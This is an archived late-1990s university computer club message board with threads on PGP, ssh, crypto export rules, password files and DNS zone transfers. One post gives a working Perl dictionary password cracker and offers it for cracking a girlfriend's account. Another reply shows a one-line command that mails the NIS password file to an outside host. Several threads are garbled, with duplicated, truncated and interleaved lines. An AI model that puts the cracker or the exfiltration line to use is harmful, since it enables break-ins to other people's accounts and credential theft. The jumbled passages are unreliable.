           the most technical detail provided by the URL is that she used
           2x2 matrices.
        \_ Is there a philcrypt?  I'll bet that Phillip could kick her
           ass without even trying . . .
                \_ cnn reported that an unknown American student known only
                   as "Phillip" appeared at her home in Ireland and kicked
                   her ass.  Witnesses reported that he didn't even work up
                   a sweat.
        \_ There's better info at:
                http://slashdot.org/comments.pl?sid=99/01/13/0931237&cid=500
           Summary: no big deal
        \_ How long does it currently take to encript one piece of email?
           If it only takes 1ms or so, it isn't a big deal even if it's ten
           times faster, right?  How many pieces of email can you send in
           one second?
           \_ Currently, public-key encryption is too slow to use even for
              email -- that's why programs like pgp encrypt your mail using
              ordinary private-key encryption, and then use RSA to encrypt
              the key.
              \_ So how slow is it?  Say for a 10KB text email that someone
                 types up, approximately how long does it take?
           \_ How about a 30GB file?  Or a few terrabytes?  With the rise in
              ecommerce and the movement of large amounts of financial data
              on the net, this is a serious possibility for a large corp. or
              a government.  Could also be plans for that new jet fighter. A
              marketting campign.  Or the Pres. ordering a hit on a foreign
              national.  Smaller delays are always a good thing if the cost
              is zero.
        \_ If it's even only "as good as" existing methods, it would be
           a great thing, seeing as how
           1. It is OUTSIDE the US
           2. it is not patent or copyright protected.
           \_ My impression was that her "method" was just a speeedup
                to RSA, which would mean that you still have to pay
                RSA to use it.
                \_ I read some pseudo tech stuff from the MIT guys she worked
                   for and ripped off the core ideas from.  It isn't RSA.
                        \_ Can you give a URL, please?

1/12    Can someone point out the URL to download SSH server? Thanks.
        \_ http://www.yahoo.com
        \_ www.ssh.fi           -nolram

1/11    Anybody know of environmental organizations that needs volunteers
        to plant trees year round, and not just on arbor day?  I want to
        volunteer for such an organization. Any web site or other pointer
        would be greatly appreciated.
        \_ <DEAD>www.treehuggers.org<DEAD>
                \_ <DEAD>www.treehugginghippies.com<DEAD>
        \_ Friends of the Urban Forest do it here in SF: http://www.fuf.net -ausman
        \_ there's going to be an International Volunteer Conference on Feb 6,7
           Im sure they'd have info on tree volunteer stuff.    --sly
            From: Cal Corps Public Service Center <ccorps@uclink4.berkeley.edu>
            Community Service Around the World Conference and Expo
            February 6 & 7, 1999

            Register early or at the door on February 6th. To preregister,
            email conference@lafetra.org and request registration
            information.

            EVENT LOCATION
            MLK Student Union Building, corner of Bancroft and
            Telegraph on the UC Berkeley Campus

            URL: http://uga.berkeley.edu/calcorps
        \_ Thank you all for the pointers!

1/6     Is there a mail program on a unix machine (say, soda) that uses
        pgp automatically when you read a mail in a mailbox file.
                \_ the latest versions of elm do
                   \_ How?  Can't find mention of pgp in man elm.
        \_ Why, do you fear the power of root cow?
        \_ modify the sending-filters entry under pine.
                \_ the latest versions of elm do
        \_ You could easily write a program to watch your mail file for
           changes, and encrypt it to a new file when it does change.
           In fact you could just hack up biff to do it!
           \_ My hacking fu is not strong.  Is there a way to use pgp
                within pine?  I just want to do pgp message wise like
           \_ My hacking fu is not weak.  Is there a way to use pgp
           And if you are root, then just hack your incoming mail program,
           not that hard.
           \_ My hacking fu is weak.  Is there a way to use pgp
                within pine?  I just want to do pgp message-wise like
                some MIME encoding.  BTW, what does pgpdecode and pgpencrypt
                do?  Can't man them.
                \_ sigh. do this:
                  "pgp -kg"
                  "elm"
                  The rest is self-documenting.
                  Oops. After you set your o)ptions to be an intermediate
                  instead of beginning user in elm, that is.
        \_ What is up w/ PGP for UNIX anyway.  How come for Windows & Mac,
           you can get PGP6, w/ 4096-bit keys, but UNIX world continues
           to plod along w/ 2.6.2 w/1024-bit keys.
           http://www.pgpi.com for latest versions.
                      \_ you lose
           \_ I think the only difference is the key generator.  Just use
              the inferior OS version to generate your 4096 bit key but
              use pgpi to actually send and receive.
                \_ mutt has much better pgp support than elm.  -tom
                   \_ but i like elm better
                      \_ you lose  the popularity contest,
                                   but win a better mailreader

1/6     Let's say I do a "netstat -a" and see someone is hogging up a port
        that I need (ie. I'm running a MUD server). As a root, how do I
        delete the process that is associated with that port? Thanks.
        \_ use lsof to get the pid of the process that is using
           the port.

1/6     Oh, I'll be darned. Say hello to Tawei Liao:
        % netstat -a | grep tawei
        f4b47800 stream      0    f48ee680 0 /tmp/ssh-tawei/agent-socket-8677

1/5     From http://www.finjan.com/wsj2.cfm about the Excel security hole:
        "We think this is probably the biggest security hole in Internet
        history," said Bill Lyons, Finjan's chief executive officer. "Any
        student at Stanford could exploit it."

        Yup!  Only M$ is dumb enough to have created such a huge security
        hole that even Stanfurd students can exploit it. :-)

12/28   Help crack DES again. http:/http://www.distributed.net
        \_ oh boy how exciting.  Get a fucking life.
           \_ If you don't like tech projects, don't read the soda motd.
                \_ Crunching random numbers over and over again is not
                   a tech project.  -tom
                   \_ You tell 'em Tom!  Crush their will, destroy their ego!
                      You, truly, are the only one who knows anything!  Lend
                      us a tiny fleck of your vast wisdom!
           \_ Although I think the DES cracking project is ridiculous, I don't
              see anything wrong with others participating.  It isn't as if
              these people are sitting there putting in real effort instead of
              having lives.  They just run the client and hope to get lucky
              and see their name in lights.  What's wrong with that?
              \_ Plus, hopefully the government will realize the futility of
                 their cryptography export restrictions when DES is cracked
                 in a short enough time (its down to 2 days).
                        \_ Highly doubtful.  The previous cracking attempts
                           merely resulted in the US govt. convincing most
                           of Europe & Asia to join in the encryption export
                           stupidity, to make it harder for us to import
                           software.  (Besides, most congressmen wouldn't
                           know a DES crack from the giant holes in their
                           heads.)
        \_ It hasn't started yet, it was just announced.  It starts in
           January.
        \_ Sillyness about http syntax deleted.  It was too silly even for
           the motd.

12/3    The Wassenaar agreement has been signed; approximately speaking, it
        is a treaty which will require other countries to impose US-style
        export controls on cryptography.  http://www.wassenaar.org
        \_ Damn Republicans.  They had to start this whole anti-
           cryptography crap.  I can't believe Clinton actually
           supports them too.
                \_ Going back to the clipper chip this was always a big
                   Clinton issue.
        \_ It's so ironic that the US is the only democratic government
           in the world that is so paranoid about public use of public
           key cryptography.
           \_ It's for your protection.
              \_ If owning a public key is criminal, only criminals will own
                 a public key.
              \_ Outlaw public key crytography.  Great, now no one can
                 use pgp and ssh and people who do 'require' ssh and ssl
                 (like sysadmins) can't use them anymore.  And yes there
                 are a lot of non-government systems that do require
                 encryption.  Speaking of protection, do you think if
                 you outlaw pub key crytography that criminals or
                 terrorists won't try to get there hands on it.  Now
                 you've just outlawed legitimate use of the technology
                 and let criminals use it.  Read up on it more and
                 you'll see why outlawing it is such a bad idea.
                 /ftp/pub/cypherpunks
                 \_ I think you are responding to a joke.
                    \_ Yes, it was a joke.  Too bad some people just don't
                       get it.  Lighten up folks.
                       \_ ah yes, that was just so hillarious i forgot to
                          laugh.
                        \_ No, you're just a friggin' idiot with no sense
                           of humor and lacking the slightest shred of what
                           might pass for intelligence at the dismal pit
                           Berkeley has become at the undergraduate level.
                           \_ tom, is that you again?  What did I tell
                              about judging other people's sense of humor
        \_ If I was a criminal and I really wanted strong encryption why
           couldn't I just code up the RSA public key cryptography algorithm?
           Granted it might take a little while but my point is that anyone
           who wants strong cryptography can write it themselves.
           Do the anti-crypto people have an argument against this?
           \_ It's not as easy as it seems to code these algorithms.  There's
                 on cryptography.  Nevertheless, he studied in enough
              all kinds of attacks that don't necessarily involve breaking
              the underlying math.  It's definitely possible, but I think
              that it's only feasable for criminals who can hire people with
              the appropriate fu.    - mikeym
              \_ Actually, it is as easy as it seems.  The original creator
                 of PGP was Phil Zimmerman who himself was not an expert
                 on cryptography.  Nevertheless, he studied it in enough
                 and consulted enough people about any loopholes in his
                 program that he finally came up with a product that is
                 now widely used.  All from a joe schmo who graduated
                 from U.Florida with a B.S. in computer science.
                 \_ I don't think that PGP has the NSA quaking in its boots.
              \_ But the threat of public key cryptography comes not from
                 individual terrorists (I don't think Timothy McVeigh
                 used pgp) but from other countries and their military,
                 which are competent enough to implement a robust
                 cryptographic system if they wanted to without the help
                              can keep recompiling and changing the key size
                 of anyone in the US.  Which is why banning public key
                 cryptography is pointless.
                 \_ Yes, this is true, but my point was that it requires
                    more than the common criminal can do.  Not just "anyone"
                    can do it.  I would even guess that many governments would
                    have trouble outsmarting the NSA.  - mikeym
                    \_ The "common" criminal is a purse snatcher or car
                       jacker.  It's likely the only computer they ever owned
                       was the one stolen from your apartment.
                        \_ Read what I was replying to: "anyone who wants
                           strong cryptography can write it themselves."  This
                           is FALSE.  It requires a lot of knowledge and
                           intelligence.  That was my WHOLE point.  - mikeym
                           \_ You didn't have a point.
                           \_ Any moron can download and compile the
                              int'l version of PGP. And of course they
                              can keep recompiling and increasing the key size
                              (for use amongst themselves) forever.
                                \_ PGP is the height of security?
                                   \_ It's "pretty good", no more, no less.
              \_ So it is not a technical problem but a money one? -jon

11/15   Learn to use ssh -- read "/csua/adm/doc/ssh-howto". -brg

11/19   http://www.gamecenter.com/Reviews/Item/0,6,0-2289,00.html?st.gc.fd.gca
        \_ Oh. My. God.

11/15   Dealing with people who get their passwords sniffed is a waste of the
        CSUA's time. Learn to use ssh -- read "/csua/adm/doc/ssh-howto". -brg

11/13  What's up with the following? just a routine passwd change...

        http://soda.CSUA.Berkeley.EDU% passwd
        Error: /dev/d0f3 Failure level 2
        \_ This means they just posted your password & login to the net.

11/13   I have a text file that I want to have a leggaly admissible time stamp.
        This should be easy with some type of public key.  Is there a service
        like that?
        \_ I don't think there exist any such electronic notary service.
           If the recipient trusts you then you yourself can put a time
           stamp on the text file and then you can use pgps to sign it.
           Therefore your recipient knows that there's only one person
           that can medle arount with the time stamp.
           \_ There is no specific recipient --- it's not an email message.
                I just need to prove that I created it on some specific day.
        \_ print it out and take it to a notary.
           \_ Is there no electronic/"hi tech" way to do it?
              \_ case law too new, risky to do it high tech unless you are
                 Novell/MS/etc. and have $ lawyers - do it old-fashioned way

11/13   How do people deal with pgp under multiple accounts?  Do they
        simply recreate a new key all together or do they use the same one?
        Also, if you change things like your email address or passphrase
        do you have to redistribute your public key all over again or
        can your corresponents use the same key.  thx. --pgp hozer
                \_ Is that you, mark?

11/12   Wow, further proof that our dorms aren't as bad as we
        thought:
        http://www.nytimes.com/library/tech/98/11/circuits/articles/12prin.html
        \_ Unit 2 Cunningham has had this since '92.
        \_ got a username/passwd for us to use?
           \_ cypherpunk/cypherpunk
           \_ just create one for yourself
           \_ It's free.  Try this:
                http://verify.nytimes.com/subscribe/sub-bin/new_sub.cgi
        \_ What's that sound?  Is that the sound of freedom being chipped
           away, bit by bit?  What's that?  It's for my safety?  Gee, thanks.
        \_ Anyone know the detection range for our prox cards?  Is it the
           ~3 cm you have to get to the readers to get them to unlock the
           door, or could they be read from a longer distance in theory?

11/3    Is the latest ssh bug really worth deinstalling it?  My friend and
        I are having an arguement over this point. A URL on the subject:
        http://news.freshmeat.net/readmore?f=ssh-vulnerability  --ssh h0zer
        \_ No definetly exploitable vulnerability has been found yet
            Until one is, you're much better off using it than not
            \_ Your machine is safer with no login mechanisms, not even
               ssh.   In fact, its even more secure if you unplug it from
               the net, unplug it from power, lock it in a safe, and bury
            \_ Your machine is safer with no login mechanisms, not eve
                \_ But even then your host can still be easily compromised
                   through the use of brute-force methods.  If you're really
                   concerned, the best solution is to not buy a computer at
               ssh.   In fact, its even more secure if you unplug it fro
               the net, unplug it from power, lock it in a safe, and bur
               that safe beneath your home
                   \_ but then I miss out on all the cash I get from
                \_ But even then your host can still be easily compromise
            \_ IBM has specially denied the assertion that it had ever
               uncovered an exploitable bug in ssh, and is complaining
               about rootshell's unethical use of a minor advisory which
               does not appear to detail any real security threat.  So the
                   through the use of brute-force methods.  If you're reall
                   concerned, the best solution is to not buy a computer a
                   all.  Go outside and enjoy the blue sky and sunshine -
                   you'll have all that extra pocket cash to take with you
                   \_ fresh air smells funny. i think i'll stay inside soda
                   \_ but then I miss out on all the cash I get fro
                      cracking other peoples' ssh-guarded firewalls
            \_ IBM has specially denied the assertion that it had eve
               uncovered an exploitable bug in ssh, and is complainin
               about rootshell's unethical use of a minor advisory whic
               does not appear to detail any real security threat.  So th
               people who supposedly found the bug say there is none

11/2    IMAP service (finally) available on UCLink4.  See:
        http://weblink.berkeley.edu:8000/imap.html for details.
        \_ It's been there for a while, but they only just announced it.
           Has anybody tried it?

10/12   Is there a web site for the Spanish channel Ch14?  Thanks.
                \_ http://www.univision.com
                   \_ But that's a company called VisiCom which makes video
                      hardware.

10/12  Is is true that if a user account is comprmised on a network of computers
       running NIS, the entire network of computers running NIS are compromised?
        \_ It will allow people to "ypcat passwd | mail someone@evil.org",
           which should be considered a problem.  This is probably what whoever
           said that was thinking of.
                \-well, that isnt really enough info to make any guesses but
                my guess would be "if the user can log into one NIS client,
                the login in probably valid on other clients which would need
                to be checked out". the more involved question is "if someome
                breaks root on a NIS client, what are the implications for the
                whole domain". --psb
                \_ Not "enough info to make any guesses"?  The quality of
                   users' password choices has not gotten any better over time,
                   and Crack still works (even better, now that computers are
                   faster).
                        \-i mean the poster hasnt provided enough info for an
                answer ... we cant really guess what the question means. --psb

10/7    I want to use a console based ssh on my NT machine (i.e. so
        that I can run ssh in a MSDOS shell). I have found 1 program
        but that didn't have vt100 support. Any pointers?
        (Why do I want to do this? Because I want to use econsole
         and not the ugly FSecure ssh terminal).
        \_ set up a port forward for port 23 and use whatever telnet client
           you like.  -tom
                \_ But then is there a console based telnet for NT?
                   The standard telnet will pop up another window.
        \_ SecureCRT baby, worth every penny. http://www.vandyke.com
           \_ Or teraterm, also worth every penny but much cheaper.
              http://www.zip.com.au/~roca/ttssh.html
              \_ Teraterm is better than FSecure or SecureCRT, IMHO.
                 Suggested changes: turn off cursor blinking in the .ini
                 file (it's not one of the GUI configurable options), and
                 steal the font from CRT/SecureCRT as it's the one xterms
                 use and looks much nicer than your default options.  Also
                 turn off the menu.. hey.. you don't really need it  --dbushong
                        \_ But can teraterm have transparent backgrounds
                           like econsole?
                           \_ Now seems as good a time as any to ask why
                              the fuck you're running windows..  --dbushong
                           \_ It has source. there fore, if you have clue
                              and time, it can have that.
        \_ Anyone know of any Mac SSH software besides F-Secure?
          \_ NiftyTelnet SSH.
              \_ URL? --dim
                 \_ http://www.lysator.liu.se/~jonasw/freeware.html Note that
                    it's technically illegal for use in the US of A. I'm
                    distribution of th SSH-enabled beta is on hold:
                    actually looking forward to the SSH enabled version of
                    BetterTelnet, which is a really nice Mac telnet client, but
                    distribution of the SSH-enabled beta is on hold:
                    http://www.cstone.net/~rbraun/mac/telnet/beta/ssh.html

10/3    Has anyone bought stuff from InDirect? They seem to have really
        cheap prices. How about Hi-Tech USA? I don't really give
        crap about customer service. I know exactly what I want
        already.
        \_ if you don't care about service then why are you asking?

9/24    How do I find out what machines are in a certain domain, e.g.
        http://laney.edu?  Thanks.
        \_ ping -f http://laney.edu
        \_ a little command many people forget about: host -l http://laney.edu
        \_ echo "What machines are in your domain?" | mail postmaster@laney.edu
                \-You have to be so tall ... /tmp/laney.edu --psb
           You could try to use nslookup's ls command to list everything in the
           domain, but most nameservers (including http://laney.edu's) won't let you.
                \-"You have to be this tall ... " ... /tmp/laney.edu --psb
           \_ you could get a map of what network addresses they use, and then
              try to get reverse dns mappings for everything in those addresses.
              This is why disabling zone transfers on a nameserver (i.e. ls)
              is pretty stupid unless you kill reverse dns too. -ERic
                \_ Disabling zone transfers stops the script kiddies for now
                   (until someone takes pity on them and writes them a script
                    to do things the hard way)
                   \_ so until then you end up making it harder on everyone
                       else.
                        \_ stupidity in the name of security is rampant.
                           See soda's relaying policy.  -tom
                        \_ most everyone else doesn't need to do a zone xfer
                           or can ask nicely for one
                           \_ Disallowing them is a security through obscurity
                              policy, and impedes curiosity.  It's like turning
                              off finger on Unix.  Besides, crackers can still
                              scan easily, even without using DNS.
                                \_ or it's like using shadowed passwords
                                   \_ WTF are you smoking!?  Non shadow-passwd
                                      files are a huge security hole.  Give
                                      any user on your system instant access
                                      to all the poor sops' accounts and files
                                      who can't pick a decent password.
                                        \_ unshadowed passwrds aren't the
                                           cause of the security hole, stupid
                                           users are
                                \_ shadowed passwords provide little real
                                   security; it's not difficult to get the
                                   shadow file without root.  -tom
                                   \_ Um, by that logic, it's not hard to get
                                      root, so why bother having any security
                                      at all  --dbushong
                                   \_ Tom, you were the one who suggested
                                      using shadowed passwds and have, until
                                      now, continued to do so on the basis that
                                      it was "more secure" for at least 4 years
                                      now, see CSUA/OCF/XCF Help Session handout
                                      by Tom Holub
                                        \_ I haven't updated that in quite
                                           some time; I haven't taught the
                                           security help session in something
                                           like 3 years.  At the time, I
                                           wasn't aware that programs such as
                                           ftpd can leave large swaths of the
                                           shadow file in core dumps.  -tom
                                \_ That's not the logic.  The logic is that
                                   shadowed passwords provide a false sense
                                   of security.  The security problem with
                                   non-shadowed passwords is having bad
                                   passwords; having shadowed passwords does
                                   little or nothing to alleviate the only
                                   problem it could theoretically solve. -tom
                                        \-i think turning off zone xfers is
                                        basically free to do. of course you
                                        shouldnt rely on it and what is really
                                        the important thing to do is to be able
                                        to see who is asking forone and what
                                        they do right after that. a zone xfer
                                        a pretty good indicator of certain
                                        types of scans/signatures of certain
                                        tools. --psb
                                        \_ Or just curious network users.
                                           E.g. zone transfer of various
                                           things under http://mit.edu is fun.
                \_ Please define "zone transfer"        -- clueless
                   \_ Simple answer: it's what you get when you run
                        host -l or nslookup ls.  Long answer: Read the
                        BIND book from O'Reilley

9/22    Any chance of getting ssh2 installed? not clobber ssh1, but just
        have ssh2 available so that we might be able to access other
        systems, pretty please? I'll do it if you gimme the root passwd!
        \_ You don't need to be root.  Just compile it in your home directory
           and delete the source tree once you'r done.  The README tells you
           how to do it.  Or better, put it in some shared directory so
           everyone has access to it.  The only bummer is that you can't get
           the daemon to work without being root.
        \_ What's the diff?
                \_ ssh2 uses the ssh 2.0 protocol which is more secure
                   some ssh2 servers won't accept ssh1 connections
                   \_ does that mean that they won't accept telnet/rlogin
                      sessions since those are less secure.  An ssh2.0
                      only server - that's unheard of.  Stop tabbing so
                        \_ It's what you get if you install sshd2 and don't
                           set it up to call sshd1 to handle old connections.
                           The sshd2 software only knows how to handle ssh 2.0
                           protocol.
                      far to the right.
                      \_ It's not unheard of and it makes great sense. --dim
                        \_ Some cs servers (like torus.cs) only accept ssh
                           & kerberos connections - no normal telnet/rlogin
                           \_ This is a good policy and should be expanded
                              (at least when there are more free
                              implementations of SSH).
           \_ originally, there was a problem with the ssh2 licensing that
              made it okay (without paying for licensing) to say have sshd
              running on a machine if say people were going to login and
              use the machine for homework but not necessarily so for
              machines like restricted access fileservers and nameservers
              that only administrative people needed (or could) log into.
              This may have changed since ssh2 was first released. --jon
              \_ It's still quite far from a free software license.  See
                 /tmp/SSH-LICENSE, if you want all the gory details; there
                 is a project to create a genuinely free replacement. -- schoen

9/22    look what i wrote. have fun cracking your wanabee gf's password!
        \_ and getting kicked off of soda
        \_ This assumes that you have a user readable passwd file.
            \_ or non-shadowed passwd, like soda's
                        \_ /etc/passwd must be world readable, so the

#!/usr/bin/perl

$twink = $ARGV[0];

open(PASSWD,"/etc/passwd");
do {
  $line = <PASSWD>;
  ($user,$passwd) = split(/:/,$line);
} while ($twink ne $user);
close(PASSWD);
$salt = substr($passwd,0,2);
$passwd = substr($passwd,2,);

foreach $attempt (`cat /usr/dict/words`) {
  chop($attempt);
  if($salt.$passwd eq crypt($attempt,$salt)) {
    print "password is: $attempt\n";
    exit(1);
  }
}
print "Unable to crack password\n";
                           "user readable passwd" implies non shadowed
               \_ soda has a shadowed passwd file.  all 4.4 bsd derivatives
                  have such a mechanism.  most modern unix like os's do.
                  only older's like ultrix, older irix, <= 4.3 bsd derivs
                        \_ even ultrix has shadowed passwds
                           \_ I am not sure if I would call that
                              monstrosity a passwd file, but okayn in that
                              case, I amend my earlier statement to include
                              ultrix and sunos as shadowable --jon
                \_where does soda keep its shadow passwd's?
                        \_ where no one but the people with enough clue
                           to RTFM can find them
        \_ Alec Muffett >> you
        \_ /usr/dict/words is a lame dictionary - real crackers use much
                much larger dictionaries
           \_ Real crackers kidnap the person, tie him/her up, and beat
              the shit out of him/her until (s)he gives you the password
                \_ REAL crackers get root shell...
                   \_ True crackers don't bother with gf's account. They
                      sift through her lingerie drawer for a diary
                      (amongst other items...)
                        \_ CSUA crackers sift through her lingerie drawer
                           and wear it.
                                \_ Free Kevin Mitnick!

9/4     I'm going to school at MIT now and they make you pay to
        connect to the campus network.  Does Berkeley still provide
        free access?  Also can anyone suggest some good ISPs in the
        Cambridge/Boston area?  Thanks.  -emin
        \_ berkeley's is 642-9600.  you need to get an account first at
           http://www-uclink.berkeley.edu (they combined the forms for homeip and
           email) or you could try to telnet to <DEAD>hip.berkeley.edu<DEAD>.

9/3     I remember on UCTwink, when I logged in, it would tell me how many
        previous unsuccessful login attempts, if any, there were. Is there
        anything similar on CSUA?
        \_ Nope, though they could simulate it using the system logs, or by
           patching login.  But you should be using SSH...  -- SSH h0zer

8/26    ssh 2 now released -jon (usu place, usu way) -jon
        \_ Damnit, i just finished installing the old one on my computer.
           you should have told me sooner.
       \_ local mirror?  And what new features/security holes doe sit have
          that we should be upgrading it to for?
          \_ I had trouble getting to the ftp site since net to finland
             is a little slow.  It implements the ssh2 protocol which is
             on the IETF standards track.  read comp.security.ssh for
             more info --jon
             \_ I'm sure. So is there a local copy here you're willing to
                share?
        \_ You want to upgrade your client so you can talk to new ssh2 servers,
           but don't want to upgrade your servers until everyone has the new
           client as they don't play nicely with older clients.
        \_ ssh 2 server can serve ssh 1 clients, sort of.  You keep
           sshd1 around, and ssh 2 can call it, if it's configured to.
                --PeterM

8/26    "I have a problem with extracting from a .tar file.
        When I archived it,
        \_ Use gnu tar.
        \_ you should finish your question.
                tar xvf foo.tar to extract files
                tar cvf foo.tar foo to archive directory foo into foo.tar
                tar xzvf and czvf will handle tar.gz files.
           \_ I would have finished my sentence, but
                \_ I think the best bet is if you
                        \_ Yeah but that won't work becau"

        \_ Let me complete the part of the question that was deleted by
        someone.
                I unthoughtfully archived from the root directory using
                "tar", but now I am under a different directory system and
                I am not root. So I have trouble extracting from the archived
                file. Could anyone please suggest a solution? Thanks!
                \_ give more details (do you have root access on this new
                   machine? what error msgs are you getting? why are you
                   trying to archive starting at the root directory and
                   untaring it to another machine.  From the info you put
                   above no one can help you and will only make fun of you
                   like the cock sucker below.
                \_ You don't have to be root to untar the damn file.
                   untar it somewhere else.  Wanting to write to the
                   root directory w/o root access is NOT a tar question.
                   But it makes sense that you don't have root access.
                   People w/o a clue shouldn't have root access.
                   \_ He's asking how to untar it somewhere else, you idiot.
                      \_ No, you moron.  He meant root directory on a
                         different system.

8/26    How do you get fetchmailrc to retrieve mail from uclink4 using
        ssh?
        \_ how's about "ssh uclink4 -L 9660:uclink4:110 -f" then have fetchmail
           POP to port 9660. -nick
                \_ You're tool cool.
           \_ If you don't do "-L 9660:localhost:110" then you're traffic
              will still go out on the local uclink4 network unencrypted.
                                                                -randal

8/22    The Commission on Campus Computing report is now public.
        You can see it at http://ls.berkeley.edu/coc/report.html.
        Salient points (these are all recommendations--they have not
        been and may not be approved by the Chancellors):
        * Computer ownership should be required for new students starting in
          2000.
          \_ not everyone can afford a computer.
                \_ This is becoming less and less true.  (Read the report.)
                \_ If a computer is made a requirement, students can make it
                   part of their financial aid package.  -tom
        * Network connections should include a monthly charge starting in 1999.
        * All courses should have at least a skeletal web page.
        * All students should have a single account which includes
          disk space and Web access and which stays with them for the
          duration of their time at Cal.
        * IS&T should be moved under Carol Christ, and a new head of
          "Educational Technology" should be created.
                                                -tom

8/21    My supervisor asked that everyone in the office release their
        e-mail password to her.  I don't feel comfortable doing that, and
        was wondering if there is some sort of UCB e-mail policy about
        not releasing passwords that I can quote in response to her request.
        \_ Your boss has no right to require that you give them your
           password.  root has the right to have full access to your
           account but that's a different story.  Don't do it.  Tell him
           shoove it up his ass if he forces you to.
                \_ root has the ability, but not necessarily the right, to
                   full access to your account.  (If at a UC or ISP, root
                   is prohibited from reading your e-mail for instance.)
        \_ Just say "NO WAY IN HELL"
           \_ You are F..I..R..E..D!!!! (do I smell million dallar law
              suit?)
        \_ Is it your personal email account or work account?  Either one,
           you have to right to not to.  You should ask her her reason for
           knowing password.
                \_ It is my csua account which I also use for work.  What
                   I am looking for is some sort of csua or ucop rule that
                   says I am not obligated to give her my password.
                        \_ CSUA policy forbids you from allowing anyone
                           else to have your password or use your account.
                           If she wants a password to your work e-mail,
                           make her give you a work e-mail account. --root
                           \_ in fact CSUA root will turn your account off
                              should we find that this is the case. --jon
        \_ Employers have a legal right to access to your office workstation
           and business related accounts.  That does not extend outside the
           office.  Forward your mail outside and tell her to shove it.
           If they forbid you from forwarding your mail outside the company,
           be very careful what email you do with your business address.  BIG
                      UC Policies. --jon
           BOSS is WAtching YOU. -ERic
                \_ But the UC/UCB e-mail policy protects the privacy of
                   UC employee e-mail - see
                        http://socrates.berkeley.edu:7015/policy
                        \_ Your *e-mail* is protected, but your *password* is
                           not.  In fact there is a campus policy that
                           your supervisor *must* have all the passwords you
                           use for business purposes (if you're UC staff).
                           They just can't look at it except under the
                           situations outlined in the e-mail and other
                           policies.  -tom
                           \_ No, root never knows what your passwords
                              are. Having passwords stored anywhere on a
                              computer comprimises security.  Passwords on
                              /etc/passwd or /etc/shadow are one way
                              encrypted so there's no way to derive
                              the original passwords without a password
                              cracker and a high performance computer.
                                                \_ A 386 is powerful enough
                                                   to crack many passwords.
                                \_ I didn't say root, I said "your
                                   supervisor".  -tom
                   \_ Boy imagine that, UC managers who do not understand
                      or are not aware of UC Policies. --jon
                      btw, if you want a wider discussion, there is also
                      http://ucb.net.discussion.  I am sure some of the more
                      security minded denizens of that newsgroup will have
                      some interesting opinions on this topic.
                  \_ Well its nie the the UC at least grants some expectation
                      of privacy to employee email.  I'm just pointing out that
                      in the 'real world' of employment, it can be very
                      different. -ERic
        \_ I think she likes you!
          \_ I think so too!!
                \_ She's married and I'm a girl.  Hence, I don't think so.
                        \_ She could be bisexual.
                        \_ How about giving me your password.  I am not married
                           and I am a guy and not gay.
                  \_ which company is this?

7/30    Where the heck is kchang? I need my daily dose of idiocy.
        \_ WHITEY GO HOME
        \_ Oh my god, they killed kchang!  You bastards root!
           \_ Is that what /csua/adm/bin/sorry means?
           \_ Yes...I killed him cuz I was on his watch list.  My
              accomplice helped me cuz he was not on his watch list.
              \_ Sorrying kchang is morally equivalent to slavery and
                 discrimination against the black man!  Just because you
                 lily-white root bastards no longer keep black people in
                 chains and let millions of mexicans across the border every
                 day, you think "nobody can see us discriminating in all these
                 other ways in which we used to discriminate . . . so its okay
                 to sorry kchang because were are being so good and nobody
                 will notice!!!!!!!"  You are wrong!!!!!  I WILL NOTICE!!!!!!
                 \_ I didn't write this; I don't endulge myself in the
                    gratuitous use of exclamation points -(fucker)
                    \_ In this context, the use of additional exclamation
                       points is quite correct.  It emphasizes the mental
                       anguish and suffering of an AGGRIEVED MINORITY!!!!!!
                       WHITEY (root) WILL PAY!!!
        \_ kchang left soda to devote his full attentions to a career in the
           bath-house management industry.
           \_ i.e. he went to take a shower?
        \_ you guys are too sarcastic.

7/27    Does anyone know why there are two different versions of pgp on
        instructional machines?  There seems to be the version where
        everything is done through the single pgp command and the other
        version that's split up into pgps, pgpe, pgpk, etc..
        \_ PGP 2.6 (as well as 2.3) == pgp
           PGP 5 == pgps, pgpe, pgpk
           \_ where do you get this pgp 5? I thought csua's ftp site was
              supposed to contain the most up-to-date version but they
              only seem to go up to 2.6 (/ftp/pub/cypherpunks/pgp/)
                \_ it's commercialwarez
                   \_ source is still available although many people think
                      PGP is selling out.  Get it from http://www.pgpi.org
                      worldwide, e.g.  cypherpunks FTP is NOT maintained now.
        \_ SWW on the HP's & DEC's is run by the dept. and is stagnant due
                to lack of employees to maintain it.  SWW on the Solaris x86
                machines is maintained by root@cory and is much more up to
                date (making it wildly inconsistent with the other machines).
        \_ Ahh, but I am pushing the sww people to get there stuff more current.
           First on the plate is emacs then a bunch of the gnu utilities. --marc
           \_ Good luck! There simply aren't enough people and PGP sure as hell
              isn't a high priority.  Push all you like.  Into /dev/null.
              Don't waste your time trying to get SWW to do anything, just
              build your own.  -been there, done that

7/27    One of the instructional computers was found cracked and was
        possibly running a sniffer. Since the machine in question was
        on the 43 net, soda accounts might have been compr[o]mised.
        \_ are there political problems w/ turning off rsh telnet and
          so on (in favor of ssh)
          \_ Is that a pretty elitist point of view?  Maybe we should just
             leave rsh/telnet enabled, but force them to use a one-time-use
             password scheme.
          \_ lots of people don't access to ssh.
          \_ lots of people don't [have] access to ssh.
          \_ SSH does not work well with some corporate firewalls
          \_ A more 3l33t plan would be to unplug soda's net connection, and
             have all interaction with the machine be via hardwired TVI 920
             terminals.  All the terminals would be in the same room as soda
             (to make sure that hackurs from the outside don't splice their
             way into the wiring), and that room would be TEMPEST shielded.
             \_ and what would we use soda for it it had no net connection?
        \_ Don't use telnet.  Don't use telnet.  Don't use telnet.
           (I have said it thrice; what I tell you three times is true.)
                \_...or ftp, or pop3...
           \_ Kerberized telnet?  telnet -x otherhost
                \_ not to soda
           \_ sometimes we have to connect to soda from devices that don't
              support anything BUT telnet. Like routers and access servers.
              We need one-time-passwords  on telnetd. -ERic
        \_ but was the snark a boojum?
           \_ The snark WAS a boojum, you see.
                \_ If your firewall is lame-ass (i.e. run by BBN because
                   some marketroid thought it would be a good idea) and
                   you are forced to use telnet, do what you can to set up
                   one-time passwords via s/key.  There is a free WinBlows
                   one-time password computer available out there (I got
                    my copy from somewhere on <DEAD>ftp.msri.org<DEAD>) and if you want
                   to port it to another UNIX then we have source here on
                   soda.  Doesn't solve all problems, but at least prevents
                   scriptkiddies from grabbing your real password.
                   rtfm on skey(1) for more info.  -- tmonroe
                   \_ Might want to check out OPIE instead of S/Key. --dim
                      \_ urlP
                         \_ ftp://ftp.nrl.navy.mil/pub/security/opie or
                            ftp://ftp.inner.net/pub/opie  --dim
